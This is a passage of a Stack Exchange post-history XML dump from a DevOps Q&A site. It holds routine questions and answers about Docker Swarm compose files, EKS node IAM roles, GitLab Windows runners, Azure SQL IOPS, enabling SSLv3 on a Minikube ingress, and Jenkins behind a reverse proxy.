modified):&#xD;&#xA;&#xD;&#xA;The only commands done as a pre-requisite are `docker secrets create ...`, `docker network create -d overlay --scope swarm database` and `docker network create -d overlay --scope swarm traefik`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.8&quot;&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  traefik:&#xD;&#xA;    external: true&#xD;&#xA;    name: traefik&#xD;&#xA;  database:&#xD;&#xA;    external: true&#xD;&#xA;    name: database&#xD;&#xA;&#xD;&#xA;secrets:&#xD;&#xA;  DJANGO_SECRETS_FILE:&#xD;&#xA;    external: true&#xD;&#xA;  HASURA_SECRETS_FILE:&#xD;&#xA;    external: true&#xD;&#xA;  POSTGRES_PASSWORD_FILE:&#xD;&#xA;    external: true&#xD;&#xA;  CF_API_EMAIL_FILE:&#xD;&#xA;    external: true&#xD;&#xA;  CF_API_KEY_FILE:&#xD;&#xA;    external: true&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  staticfiles: {}&#xD;&#xA;  database: {}&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  django:&#xD;&#xA;    command: gunicorn config.wsgi:app -w 4 -b 0.0.0.0:8000&#xD;&#xA;    depends_on:&#xD;&#xA;      - postgres&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;        traefik.enable: &quot;true&quot;&#xD;&#xA;        traefik.http.routers.django.entrypoints: http&#xD;&#xA;        traefik.http.routers.django.rule: Host(`admin.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.django-secure.entrypoints: https&#xD;&#xA;        traefik.http.routers.django-secure.rule: Host(`admin.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.django-secure.tls.certresolver: dns&#xD;&#xA;        traefik.http.services.django.loadbalancer.server.port: 8000&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;    environment:&#xD;&#xA;      ALLOWED_HOSTS: admin.myproject.***.dev&#xD;&#xA;      DEBUG: &quot;true&quot;&#xD;&#xA;      DJANGO_CONFIGURATION: Staging&#xD;&#xA;      DJANGO_SECRETS_FILE: /run/secrets/DJANGO_SECRETS_FILE&#xD;&#xA;    image: django_image:2020-05-29&#xD;&#xA;    networks:&#xD;&#xA;      - traefik&#xD;&#xA;      - database&#xD;&#xA;    secrets:&#xD;&#xA;      - DJANGO_SECRETS_FILE&#xD;&#xA;    volumes:&#xD;&#xA;      - staticfiles:/static&#xD;&#xA;    working_dir: /app&#xD;&#xA;&#xD;&#xA;  hasura:&#xD;&#xA;    command:&#xD;&#xA;      - graphql-engine&#xD;&#xA;      - serve&#xD;&#xA;      - --server-port=5000&#xD;&#xA;    depends_on:&#xD;&#xA;      - postgres&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;        traefik.enable: &quot;true&quot;&#xD;&#xA;        traefik.http.routers.hasura.entrypoints: http&#xD;&#xA;        traefik.http.routers.hasura.rule: Host(`api.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.hasura-secure.entrypoints: https&#xD;&#xA;        traefik.http.routers.hasura-secure.rule: Host(`api.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.hasura-secure.tls.certresolver: dns&#xD;&#xA;        traefik.http.services.hasura.loadbalancer.server.port: 5000&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;    entrypoint:&#xD;&#xA;      - sh&#xD;&#xA;      - /hasura-entrypoint.sh&#xD;&#xA;    environment:&#xD;&#xA;      HASURA_GRAPHQL_ENABLE_CONSOLE: &quot;true&quot;&#xD;&#xA;      HASURA_SECRETS_FILE: /run/secrets/HASURA_SECRETS_FILE&#xD;&#xA;    image: hasura/graphql-engine:v1.2.1&#xD;&#xA;    networks:&#xD;&#xA;      - traefik&#xD;&#xA;      - database&#xD;&#xA;    secrets:&#xD;&#xA;      - HASURA_SECRETS_FILE&#xD;&#xA;    volumes:&#xD;&#xA;      - ./scripts/hasura-entrypoint.sh:/hasura-entrypoint.sh&#xD;&#xA;&#xD;&#xA;  postgres:&#xD;&#xA;    deploy:&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;    environment:&#xD;&#xA;      POSTGRES_PASSWORD_FILE: /run/secrets/POSTGRES_PASSWORD_FILE&#xD;&#xA;      POSTGRES_USER: staging&#xD;&#xA;      POSTGRES_DB: staging&#xD;&#xA;    image: postgres:12.3-alpine&#xD;&#xA;    networks:&#xD;&#xA;      - database&#xD;&#xA;    volumes:&#xD;&#xA;      - database:/var/lib/postgresql/data&#xD;&#xA;    secrets:&#xD;&#xA;      - POSTGRES_PASSWORD_FILE&#xD;&#xA;&#xD;&#xA;  traefik:&#xD;&#xA;    command:&#xD;&#xA;      - --api.insecure=true&#xD;&#xA;      - --api.dashboard=true&#xD;&#xA;      - --api.debug=true&#xD;&#xA;      - --certificatesResolvers.dns.acme.dnsChallenge.delayBeforeCheck=0&#xD;&#xA;      - --certificatesResolvers.dns.acme.dnsChallenge.provider=cloudflare&#xD;&#xA;      - --entrypoints.http.address=:80&#xD;&#xA;      - --entrypoints.https.address=:443&#xD;&#xA;      - --log.level=DEBUG&#xD;&#xA;      - --providers.docker=true&#xD;&#xA;      - --providers.docker.endpoint=unix:///var/run/docker.sock&#xD;&#xA;      - --providers.docker.exposedbydefault=false&#xD;&#xA;      - --providers.docker.network=traefik&#xD;&#xA;      - --providers.docker.swarmMode=true&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;        traefik.enable: &quot;true&quot;&#xD;&#xA;        traefik.http.middlewares.traefik-https-redirect.redirectscheme.scheme: https&#xD;&#xA;        traefik.http.routers.traefik.entrypoints: http&#xD;&#xA;        traefik.http.routers.traefik.middlewares: traefik-https-redirect&#xD;&#xA;        traefik.http.routers.traefik.rule: Host(`dash.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.traefik-secure.entrypoints: https&#xD;&#xA;        traefik.http.routers.traefik-secure.rule: Host(`dash.myproject.***.dev`)&#xD;&#xA;        traefik.http.routers.traefik-secure.service: api@internal&#xD;&#xA;        traefik.http.routers.traefik-secure.tls: &quot;true&quot;&#xD;&#xA;        traefik.http.routers.traefik-secure.tls.certresolver: dns&#xD;&#xA;        traefik.http.services.traefik.loadbalancer.server.port: 8080&#xD;&#xA;      placement:&#xD;&#xA;        constraints:&#xD;&#xA;          - node.role == manager&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;    environment:&#xD;&#xA;      CF_API_EMAIL_FILE: /run/secrets/CF_API_EMAIL_FILE&#xD;&#xA;      CF_API_KEY_FILE: /run/secrets/CF_API_KEY_FILE&#xD;&#xA;    image: traefik:v2.2.1&#xD;&#xA;    networks:&#xD;&#xA;      - traefik&#xD;&#xA;    ports:&#xD;&#xA;      - 80:80&#xD;&#xA;      - 443:443&#xD;&#xA;    secrets:&#xD;&#xA;      - CF_API_EMAIL_FILE&#xD;&#xA;      - CF_API_KEY_FILE&#xD;&#xA;    volumes:&#xD;&#xA;      - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;      - ./acme.json:/acme.json&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35875" PostHistoryTypeId="1" PostId="11721" RevisionGUID="09df616d-05f3-4156-a69d-55d64d245c92" CreationDate="2020-05-29T11:47:30.337" UserId="10670" Text="How can I allow admins to run Django Admin CLI commands against a Django application deployed live as part of a Docker Swarm cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35876" PostHistoryTypeId="3" PostId="11721" RevisionGUID="09df616d-05f3-4156-a69d-55d64d245c92" CreationDate="2020-05-29T11:47:30.337" UserId="10670" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;&lt;sysadmin&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35877" PostHistoryTypeId="6" PostId="11719" RevisionGUID="46aef35f-3998-4e2b-aa8f-ceb9093021ec" CreationDate="2020-05-29T13:19:42.993" UserId="12147" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;deployment&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35878" PostHistoryTypeId="2" PostId="11722" RevisionGUID="e000626c-3784-40c1-9368-47bc8ed215f2" CreationDate="2020-05-29T13:52:28.230" UserId="22486" Text="I've created a new EKS cluster, and am trying to add a new node group to it.&#xD;&#xA;&#xD;&#xA;I'm stuck on selecting a Node IAM Role from the dropdown.&#xD;&#xA;&#xD;&#xA;[![node][1]][1]&#xD;&#xA;&#xD;&#xA;I followed the link, and created all options for roles I could see fit, still none appear in the dropdown.&#xD;&#xA;&#xD;&#xA;[![roles][2]][2]&#xD;&#xA;&#xD;&#xA;Note: currently I don't really care about restricting access, I'm only trying to run some POC against EKS with a test account.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ga26g.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/vL6Vc.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35879" PostHistoryTypeId="1" PostId="11722" RevisionGUID="e000626c-3784-40c1-9368-47bc8ed215f2" CreationDate="2020-05-29T13:52:28.230" UserId="22486" Text="Cannot configure node group in new EKS cluster due to no Node IAM role found" ContentLicense="CC BY-SA 4.0" />
  <row Id="35880" PostHistoryTypeId="3" PostId="11722" RevisionGUID="e000626c-3784-40c1-9368-47bc8ed215f2" CreationDate="2020-05-29T13:52:28.230" UserId="22486" Text="&lt;aws-iam&gt;&lt;role-based-access-control&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35881" PostHistoryTypeId="2" PostId="11723" RevisionGUID="355cc6c9-e6ca-4fc7-96fa-61c8c2875f38" CreationDate="2020-05-29T13:57:59.677" UserId="22501" Text="How can I specify the operating system in the `.gitlab-ci` file to indicate which underlying OS on which the `gitlab-runner` should be running when using the free 2,000 minutes of execution in GCP?&#xD;&#xA;&#xD;&#xA;For context, Github's free account supports [2,000 free minutes][1] per month in &quot;Github-hosted runners&quot; for running [Github Actions][2]. You can specify whether you want the build to happen in Linux, Windows, or MacOS via the [`runs-on` key][3] in the [github workflow yaml file][4].&#xD;&#xA;&#xD;&#xA;What is the equivalent method for specifying that I want to run a CI/CD job in a specific OS on GCP in the `.gitlab-ci` file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/en/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions&#xD;&#xA;  [2]: https://github.com/features/actions&#xD;&#xA;  [3]: https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on&#xD;&#xA;  [4]: https://help.github.com/en/actions/configuring-and-managing-workflows" ContentLicense="CC BY-SA 4.0" />
  <row Id="35882" PostHistoryTypeId="1" PostId="11723" RevisionGUID="355cc6c9-e6ca-4fc7-96fa-61c8c2875f38" CreationDate="2020-05-29T13:57:59.677" UserId="22501" Text="How to specify 'os' in gitlab ('runs-on' equivalent) for free GCP runners" ContentLicense="CC BY-SA 4.0" />
  <row Id="35883" PostHistoryTypeId="3" PostId="11723" RevisionGUID="355cc6c9-e6ca-4fc7-96fa-61c8c2875f38" CreationDate="2020-05-29T13:57:59.677" UserId="22501" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;github&gt;&lt;gitlab-ci-runner&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35884" PostHistoryTypeId="5" PostId="11723" RevisionGUID="4f5897b1-44dd-4e91-bc93-9642a096adce" CreationDate="2020-05-29T14:03:05.810" UserId="22501" Comment="added 81 characters in body" Text="How can I specify the operating system in the `.gitlab-ci` file to indicate which underlying OS on which the `gitlab-runner` should be running when using the [2,000 minutes of free execution][1] in with gitlab.com shared runners in Google Cloud Platform?&#xD;&#xA;&#xD;&#xA;For context, Github's free account supports [2,000 free minutes][2] per month in &quot;Github-hosted runners&quot; for running [Github Actions][3] in [Azure and MacStadium][4]. You can specify whether you want the build to happen in Linux, Windows, or MacOS via the [`runs-on` key][5] in the [github workflow yaml file][6].&#xD;&#xA;&#xD;&#xA;What is the equivalent method for specifying that I want to run a CI/CD job in a specific OS on GCP in the `.gitlab-ci` file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://about.gitlab.com/pricing/&#xD;&#xA;  [2]: https://help.github.com/en/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions&#xD;&#xA;  [3]: https://github.com/features/actions&#xD;&#xA;  [4]: https://help.github.com/en/actions/reference/virtual-environments-for-github-hosted-runners&#xD;&#xA;  [5]: https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on&#xD;&#xA;  [6]: https://help.github.com/en/actions/configuring-and-managing-workflows" ContentLicense="CC BY-SA 4.0" />
  <row Id="35885" PostHistoryTypeId="4" PostId="11723" RevisionGUID="4f5897b1-44dd-4e91-bc93-9642a096adce" CreationDate="2020-05-29T14:03:05.810" UserId="22501" Comment="added 81 characters in body" Text="How to specify 'os' for free gitlab runners ('runs-on' equivalent)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35886" PostHistoryTypeId="2" PostId="11724" RevisionGUID="df26010c-d140-417f-bf06-f0ee3185c160" CreationDate="2020-05-29T15:09:51.667" UserId="22502" Text="I'm running a serverless sql database in azure, taking a load from some data transformed by Databricks.&#xD;&#xA;&#xD;&#xA;Every itme I'm trying to write to the database the IOPS percentage shows up as 100% which makes it clear that this is my bottleneck. &#xD;&#xA;&#xD;&#xA;In the database configuration tab, I can see that for general purpose I get 500-20000 IOPS provisioned. But how do I actually get and can I control this in any way? " ContentLicense="CC BY-SA 4.0" />
  <row Id="35887" PostHistoryTypeId="1" PostId="11724" RevisionGUID="df26010c-d140-417f-bf06-f0ee3185c160" CreationDate="2020-05-29T15:09:51.667" UserId="22502" Text="How many iops do I actually get in a General Purpose SQL Database in Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35888" PostHistoryTypeId="3" PostId="11724" RevisionGUID="df26010c-d140-417f-bf06-f0ee3185c160" CreationDate="2020-05-29T15:09:51.667" UserId="22502" Text="&lt;azure&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35892" PostHistoryTypeId="2" PostId="11726" RevisionGUID="bcdcf8df-cd96-4d82-931f-b3313bc85a77" CreationDate="2020-05-29T17:35:05.957" UserId="22505" Text="In this cluster, there are 11 identical nodes, each with 16gb of memory. So far, I've been able to connect each node of the cluster to a docker swarm hosted on the control node. My end goal is to run a single instance of a container that utilizes the resources of each node so the total memory of that container would be 176gb. How should I accomplish this?&#xD;&#xA;&#xD;&#xA;Each worker node is running Ubuntu Server 20.04 and the control node is running Ubuntu Desktop 16.04, all with docker engine 19.03.8." ContentLicense="CC BY-SA 4.0" />
  <row Id="35893" PostHistoryTypeId="1" PostId="11726" RevisionGUID="bcdcf8df-cd96-4d82-931f-b3313bc85a77" CreationDate="2020-05-29T17:35:05.957" UserId="22505" Text="Linking nodes in a cluster to run a single instance of a docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="35894" PostHistoryTypeId="3" PostId="11726" RevisionGUID="bcdcf8df-cd96-4d82-931f-b3313bc85a77" CreationDate="2020-05-29T17:35:05.957" UserId="22505" Text="&lt;containers&gt;&lt;docker-swarm&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35895" PostHistoryTypeId="50" PostId="9024" RevisionGUID="b6f8421a-0469-4056-9dac-4b42b2b76d6c" CreationDate="2020-05-29T19:03:55.297" UserId="-1" />
  <row Id="35896" PostHistoryTypeId="50" PostId="9074" RevisionGUID="b04be76b-05fc-4655-bc93-3565800f4e26" CreationDate="2020-05-29T20:02:35.193" UserId="-1" />
  <row Id="35897" PostHistoryTypeId="2" PostId="11727" RevisionGUID="36f5d24b-690b-434f-8be2-abbeec01077c" CreationDate="2020-05-29T21:48:16.560" UserId="20101" Text="This is actually pretty well described in the [docs][1].&#xD;&#xA;&#xD;&#xA;&gt; Before you create worker nodes, you must create an IAM role with the&#xD;&#xA;&gt; following IAM policies:&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKSWorkerNodePolicy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKS_CNI_Policy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEC2ContainerRegistryReadOnly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/worker_node_IAM_role.html&#xD;&#xA;&#xD;&#xA;Also you need to make sure that this role could be assumed by EKS.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Principal&quot;: {&#xD;&#xA;            &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;&#xD;&#xA;          },&#xD;&#xA;          &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="35898" PostHistoryTypeId="50" PostId="9103" RevisionGUID="71162e9d-133d-4169-81d4-a1563bda66c1" CreationDate="2020-05-29T22:00:35.080" UserId="-1" />
  <row Id="35899" PostHistoryTypeId="50" PostId="5220" RevisionGUID="eb958ab5-1dac-4cee-afb2-f7c158e2d2aa" CreationDate="2020-05-30T00:02:45.297" UserId="-1" />
  <row Id="35900" PostHistoryTypeId="2" PostId="11728" RevisionGUID="10570822-31a3-47da-b485-9c5df7f628cd" CreationDate="2020-05-30T02:43:14.880" UserId="19963" Text="This is not really possible with container orchestration. Containers are bound by host and cannot be larger than host machines.&#xD;&#xA;&#xD;&#xA;At the same time, depending on your specific tasks there may exist specialized distributed software that may be suitable for your needs - i.e. Apache Spark covers a lot of computational use cases." ContentLicense="CC BY-SA 4.0" />
  <row Id="35902" PostHistoryTypeId="5" PostId="11704" RevisionGUID="e22e62ee-c69c-41e3-bb2f-138163b136f6" CreationDate="2020-05-30T05:39:27.257" UserId="22373" Comment="Removed unnecessary words" Text="I have recently taken over the CI management for a medium-sized team of developers. Currently, we have one Jenkins server instance as well as six other instances of Jenkins agents to build upon. We have been using labels to determine which builds to run. For example, some instances are setup to run under environments A or B. In the future, we would like to add more instances of A and B, as well as add new environments, e.g., C, D.&#xD;&#xA;&#xD;&#xA;My goal now is to unify these build environments and define them in one place to allow for better scale-ability and ease of management of these instances. Docker seems to be a solution to this approach. I know that I can create a Docker image for each of my individual environments. What I don't know is how to distribute the image into containers across my six machine instances. The solution I am looking for involves allowing multiple docker containers to be spun up on a single instance (docker host?), but only if needed (i.e., the scenario when all other hosts are currently hosting a container). Additionally, I need a solution that supports Windows and Linux based hosts.&#xD;&#xA;&#xD;&#xA;I know that Docker support in Jenkins seems to be based largely via plugins, so I was hoping for some direction in which plugin to research first." ContentLicense="CC BY-SA 4.0" />
  <row Id="35903" PostHistoryTypeId="24" PostId="11704" RevisionGUID="e22e62ee-c69c-41e3-bb2f-138163b136f6" CreationDate="2020-05-30T05:39:27.257" Comment="Proposed by 22373 approved by 40 edit id of 1208" ContentLicense="CC BY-SA 4.0" />
  <row Id="35904" PostHistoryTypeId="5" PostId="11700" RevisionGUID="61e7d536-0c94-4f34-8f2f-aab1ea41eadf" CreationDate="2020-05-30T11:42:21.227" UserId="22441" Comment="added 49 characters in body" Text="I want to setup a CD system for a yocto project which is version controlled in a bitbucket repository. I want to write a bitbucket pipeline which triggers a jenkins job on a build server which starts a yocto build. The reason for this is that yocto builds can take up anywhere to 6h for complete rebuilds and thats pretty costintensive with bitbucket pipelines. My idea to test this setup was to use docker containers so I can test the whole setup locally with ngrok. There are some questions I have regarding this:&#xD;&#xA;&#xD;&#xA;* does the containerized setup for this make sense?&#xD;&#xA;* can I mark a bitbucket pipeline build from the outside as in progress/completed/failed?&#xD;&#xA;* what is the nicest way to trigger a jenkins job from bitbucket pipelines? Webhooks?&#xD;&#xA;* how can I make jenkins differentiate between two branches when triggered by bitbucket pipelines?&#xD;&#xA;&#xD;&#xA;The setup I am pondering with atm are two docker containers. One is running the jenkins server and the other is the build server with a custom image, which I have verified working. I found that you can instrument multiple containers using docker-compose so I came up with this docker-compose.yml:&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;    yocto-server:&#xD;&#xA;        build: .&#xD;&#xA;        container_name: yocto-server&#xD;&#xA;        networks:&#xD;&#xA;            - build-network&#xD;&#xA;&#xD;&#xA;    jenkins-master:&#xD;&#xA;        image: jenkins/jenkins&#xD;&#xA;        privileged: true&#xD;&#xA;        working_dir: /home/jenkins&#xD;&#xA;        depends_on:&#xD;&#xA;            - yocto-server&#xD;&#xA;        ports:&#xD;&#xA;            - 8080:8080&#xD;&#xA;        networks:&#xD;&#xA;            - build-network&#xD;&#xA;        links:&#xD;&#xA;            - yocto-server&#xD;&#xA;networks:&#xD;&#xA;    build-network:&#xD;&#xA;        driver: bridge&#xD;&#xA;```&#xD;&#xA;Can jenkins invoke a command via ssh/telnet/docker magic to the second container with this setup?&#xD;&#xA;Because as I see it I have to do the following steps:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - mark the build in bbp as in progress&#xD;&#xA; -  if repository is present in the container pull and checkout a specific branch&#xD;&#xA; - if repository is not pressent in the container clone it first&#xD;&#xA; run the build with parameters provided by jenkins&#xD;&#xA; - depending on the exit code of the build flag the bbp build as completed/successfull&#xD;&#xA; - upload the artifacts to bitbucket&#xD;&#xA;&#xD;&#xA;I am very thankful for any inside on this because I have very little knowledge about docker-compose and jenkins. &#xD;&#xA;&#xD;&#xA;For clarification I am using Bitbucket Cloud." ContentLicense="CC BY-SA 4.0" />
  <row Id="35905" PostHistoryTypeId="2" PostId="11729" RevisionGUID="3957a95f-b257-481f-8fd5-a4c9534fe5ff" CreationDate="2020-05-30T12:05:08.563" UserId="13364" Text="I have some problems with enabling SSLv3 in my Nginx Ingress used as a Minikube addon.&#xD;&#xA;I have read in [docs][1] how to do it. It should be as simple as adding single map.&#xD;&#xA;Unfortunately I haven't had much success with it. It added this map in both namespaces - kube-system and the second one in which ingress is created. &#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;kind: ConfigMap&#xD;&#xA;apiVersion: v1&#xD;&#xA;metadata:&#xD;&#xA;  name: nginx-config&#xD;&#xA;data:&#xD;&#xA;  ssl-ciphers: &quot;ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA&quot;&#xD;&#xA;  ssl-protocols: &quot;SSLv2 SSLv3 TLSv1 TLSv1.1 TLSv1.2 TLSv1.3&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I did it separately and even forced nginx-ingress-controller but nothing happened. I have also found out about nginx-load-balancer-conf ConfigMap in kube-system namespace and added the same entries there too, but it didn't help either.&#xD;&#xA;&#xD;&#xA;ssl-protocols seems to be one of few properties which can be defined in [ConfigMap][2] but no by [annotations][3].&#xD;&#xA;&#xD;&#xA;So my question is: Am I making some kind of stupid mistake or Minikube requires some different configuration? &#xD;&#xA;&#xD;&#xA;I'm checking result of my actions by [testssl.sh][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/tls/#legacy-tls&#xD;&#xA;  [2]: https://docs.nginx.com/nginx-ingress-controller/configuration/global-configuration/configmap-resource/&#xD;&#xA;  [3]: https://docs.nginx.com/nginx-ingress-controller/configuration/ingress-resources/advanced-configuration-with-annotations/&#xD;&#xA;  [4]: https://testssl.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="35906" PostHistoryTypeId="1" PostId="11729" RevisionGUID="3957a95f-b257-481f-8fd5-a4c9534fe5ff" CreationDate="2020-05-30T12:05:08.563" UserId="13364" Text="Enable SSLv3 in Minikube Nginx Ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="35907" PostHistoryTypeId="3" PostId="11729" RevisionGUID="3957a95f-b257-481f-8fd5-a4c9534fe5ff" CreationDate="2020-05-30T12:05:08.563" UserId="13364" Text="&lt;kubernetes&gt;&lt;ingress&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35908" PostHistoryTypeId="2" PostId="11730" RevisionGUID="9afe00c1-abd2-4215-87ec-1e78dfa4a739" CreationDate="2020-05-30T12:59:31.493" UserId="22514" Text="The Jenkins container redirects to `URL:80`, which is causing an error. When I remove the `:80`, everything is working as it should.&#xD;&#xA;&#xD;&#xA;I have tried the proxy with a simple web app and there were no issues.&#xD;&#xA;&#xD;&#xA;This is the `docker-compose.yml` https://pastebin.com/djJTuBZL.&#xD;&#xA;&#xD;&#xA;The cert is correctly issued and the connection is secured. The host I'm using is live and correctly configured with ports 80 and 443 open.&#xD;&#xA;&#xD;&#xA;The container exposes `8008` and this is the same as the `VIRTUAL_PORT`.&#xD;&#xA;&#xD;&#xA;Also, I would have assumed that accessing an address with `:80` wouldn't have caused any issues this being the standard HTTP port eg `www.google.com:80`; unless I'm missing something.&#xD;&#xA;&#xD;&#xA;If this helps this is the logs when I run `docker-compose up` https://pastebin.com/NUbDL7PC.&#xD;&#xA;Here are the logs when I try to do the first login, the space is before I remove the `:80` then load the page https://pastebin.com/0wxGDBzi.&#xD;&#xA;&#xD;&#xA;I would appreciate any advice, thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="35909" PostHistoryTypeId="1" PostId="11730" RevisionGUID="9afe00c1-abd2-4215-87ec-1e78dfa4a739" CreationDate="2020-05-30T12:59:31.493" UserId="22514" Text="Jenkins Docker Behind Reverse Proxy Adds &quot;:80&quot; to the URL" ContentLicense="CC BY-SA 4.0" />
  <row Id="35910" PostHistoryTypeId="3" PostId="11730" RevisionGUID="9afe00c1-abd2-4215-87ec-1e78dfa4a739" CreationDate="2020-05-30T12:59:31.493" UserId="22514" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35911" PostHistoryTypeId="2" PostId="11731" RevisionGUID="1e3951c7-cc50-42ff-bf94-90e596c887b1" CreationDate="2020-05-30T12:59:59.430" UserId="22501" Text="You can specify that you want gitlab to execute your CI job on a windows machine using [tags][1].&#xD;&#xA;&#xD;&#xA;Gitlab made Windows Shared Runners available as Beta in Jan 2020. [Their announcement][2] shows how to use the `tags` key in your `.gitlab-ci` file to specify Windows machines. You can also run in a docker container in windows:&#xD;&#xA;&#xD;&#xA; * https://docs.gitlab.com/runner/executors/docker.html#using-windows-containers&#xD;&#xA;&#xD;&#xA;For example, I was able to execute a simple &quot;hello world&quot; powershell script with the following job in [my `.gitlab-ci` file][3]:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;windows:&#xD;&#xA;  script: &quot;build/windows/buildExe.ps1&quot;&#xD;&#xA;  tags:&#xD;&#xA;    - shared-windows&#xD;&#xA;    - windows&#xD;&#xA;    - windows-1809&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here's the [`buildExe.ps1` powershell script][4] reference above:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Write-Host &quot;listing contents of C drive root&quot;&#xD;&#xA;Get-ChildItem -Path C:\ -Force&#xD;&#xA;&#xD;&#xA;Write-Host &quot;listing contents of cwd&quot;&#xD;&#xA;Get-ChildItem -Force&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The above config produced the following output [in my CI job][5]:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[0KRunning with gitlab-runner 12.9.0 (4c96e5ad)&#xD;&#xA;[0;m[0K  on windows-shared-runners-manager 6QgxEPvR&#xD;&#xA;[0;msection_start:1590842482:prepare_executor&#xD;&#xA;[0K[0K[36;1mPreparing the &quot;custom&quot; executor[0;m&#xD;&#xA;[0;m[0KUsing Custom executor with driver autoscaler dev (64a348d)...&#xD;&#xA;[0;mCreating virtual machine for the job...&#xD;&#xA;Virtual machine created!&#xD;&#xA;section_end:1590842624:prepare_executor&#xD;&#xA;[0Ksection_start:1590842624:prepare_script&#xD;&#xA;[0K[0K[36;1mPreparing environment[0;m&#xD;&#xA;[0;mRunning on PACKER-5E557E8E via &#xD;&#xA;runner-6qgxepvr-wsrm-87cf700a3349de62a18e...&#xD;&#xA;section_end:1590842640:prepare_script&#xD;&#xA;[0Ksection_start:1590842640:get_sources&#xD;&#xA;[0K[0K[36;1mGetting source from Git repository[0;m&#xD;&#xA;[0;m[32;1mFetching changes with git depth set to 50...[0;m&#xD;&#xA;Initialized empty Git repository in C:/GitLab-Runner/builds/maltfield/cross-platform-python-gui/.git/&#xD;&#xA;[32;1mCreated fresh 